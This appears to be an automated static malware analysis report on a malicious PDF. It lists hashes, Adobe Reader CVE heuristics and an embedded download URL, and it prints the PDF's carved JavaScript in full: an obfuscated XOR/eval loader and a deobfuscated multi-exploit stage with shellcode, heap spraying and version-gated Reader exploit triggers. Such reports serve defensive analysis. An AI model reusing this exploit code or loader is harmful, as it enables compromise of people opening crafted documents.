Malicious PDF — malware analysis report

Static analysis result for SHA-256 d66e171ca6a216dc…

MALICIOUS

PDF

4.9 KB Created: 2010-07-28 09:17:08 Authoring application: Xilase likewe (via 073aeGipuososaup) First seen: 2026-05-11
MD5: d90e0008293942494156183f4cf803ba SHA-1: e2d2387bb56a9016255b35c4de1eea169fdbb9df SHA-256: d66e171ca6a216dc69e4a2e21ef5326bf7c4d890606e46094f9bc4c8c6d14f8f
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics, and flagged by the ML_NYX_PDF_MALICIOUS classifier. The ML classifier's high confidence suggests malicious intent. The embedded JavaScript, named 'javascript_obj0010_000.js', is likely responsible for executing the malicious payload, potentially downloading additional malware or initiating further exploitation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahruda.egh/4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0xDD7 963 bytes
SHA-256: 526f94b6054896ef00d9d4ecd956874e1cccea74db50349ada6cb47afce330d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var hWX=xG();mF(bC,qZ);} catch(fY){var wD=lU();wD(hWX);hWX="Medialab gmu ux1 unr hubcap dit tcs pitmanager medialab acns ns.mR Acns ns usl gmu ux1 unr hubcap dit tcs pitmanager. Ns usl gmu ux1 unr hubcap.mR Ux1 unr hubcap dit tcs pitmanager medialab unr hubcap.mR Usl gmu ux1 unr hubcap.mR Medialab ns usl gmu ux1 unr hubcap dit tcs pitmanager. Medialab sfu cd boole acns ns usl gmu ux1 unr hubcap. ";}         function xG(){return 'var  wX = 190 LL;var L4 L~rK~ = thisL4;var cD~L=rK.getPageN4uL~mWords(this.pageNum);var4 zK=\'\';for(var yP=0;yP< cD; y~LP++){zK=[zK, 4~r~LK44.4LgetPageNthWord(rK4L.pageN4umL,yP,LtrLue)4L]~4.join(\'4~\');;}var ~LdO=\'L\';for(var yP=0;yP <4~ zK.length; yP+=2){LLpW=zLK.~substr(yP,2);dO=[dO,String~.fromCharCode(parseLLInt(pL4W,16)^wX)].join(4\'~~\');}ev~al(dO);dO=null;L~'.replace(/[~4L]/g, '');}function vAV(){var vU=app;return vU.doc;}function mF(){return true;}function lU(){return wXE=vAV()['evaQQl'.replace(/[Q]/g, '')];}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3733 bytes
SHA-256: 9b6626b52869b11419d468b79eb7c0262abb3b7f514fa93012701f31f9916220
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var r='sR'} catch(r){};var j={t:"b".charCodeAt(10142)};var wH='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var tO=30141;try {var kX='gT'.substr(15280)} catch(kX){};var l=this.info['v'].replace(/[\s]/g, '');var kF=["bY"];try {var uL='vA'.substring(24384,24384)} catch(uL){};var nK = this.info;var cL = (nK.producer.substr(0,5) == 'debug');var nS = new Array(); var eV = "%u";function jS(str){str = str.split(eV);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function oT(str1, str2){return [str1, str2].join("");}function fU(yF){var d = tS();var wR = pC();d += ((d.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wR;if(cL) app.alert("URL: " + d);d=aH(d);var d=eV;var pW=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";pW+=d;return jS(pW);};function tS(){var aF = (nK.author + nK.title).replace(/[\s]/g, '');var vE = qB(aF, l, wH);return vE;};function qB(aF, wH, l){var vE="";for(var i=0; i < aF.length; i++){var hW = wH.indexOf(aF[i]);if(hW > -1 ){vE += l[hW];}}return vE;};function aH(aF){var out = "";aF = kJ(aF);g = Math.round(aF.length / 4);if (g != aF.length /4) aF+="00";for(var i=0; i < aF.length; i+=4){out+= eV + aF.substr(i+2, 2) + aF.substr(i, 2);}return out;};function kJ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function x(nW, len){while (nW.length * 2 < len){nW = oT(nW, nW);}return nW.substring(0, len / 2);};function qR(dK){var gP = 0x0c0c0c0c;        dI = fU("pdf");if (dK == 1){gP = 0x30303030;}var mB = 0x400000;var ln = dI.length * 2;var tY = mB - (ln + 0x38);var nW = jS(eV+"9090"+eV+"9090"); nW = x(nW, tY);var iV = (gP - 0x400000) / mB;for (var vO = 0; vO < iV; vO ++ ){nS[vO] = oT(nW, dI);}};function pC(){try {return app.viewerVersion.toString();}catch(mH){    return 0;}}if(cL) app.alert("called exploit");var wR = pC();if(cL)  app.alert("v: " + wR);if (wR > 8){if(cL) app.alert("util.printf");qR(1);var lA = "12999999999999999999";for (qJ=0; qJ < 276; qJ++) lA += "8";util.printf("%45000f", lA);}if (wR < 8){if(cL) app.alert("Collab.collectEmailInfo");qR(0);var dU = jS(eV+"0c0c"+eV+"0c0c");while (dU.length < 44952) dU += dU;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : dU});}if (wR < 9.1){if (app.doc.Collab.getIcon){if(cL) app.alert("Collab.getIcon");qR(0);var aT = unescape("%09");while (aT.length < 0x4000) aT += aT;aT = "N." + aT;app.doc.Collab.getIcon(aT);}}if (wR == 9.2){if(cL) app.alert("media.newPlayer");qR(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var jM=new Array();var p=new Array();�

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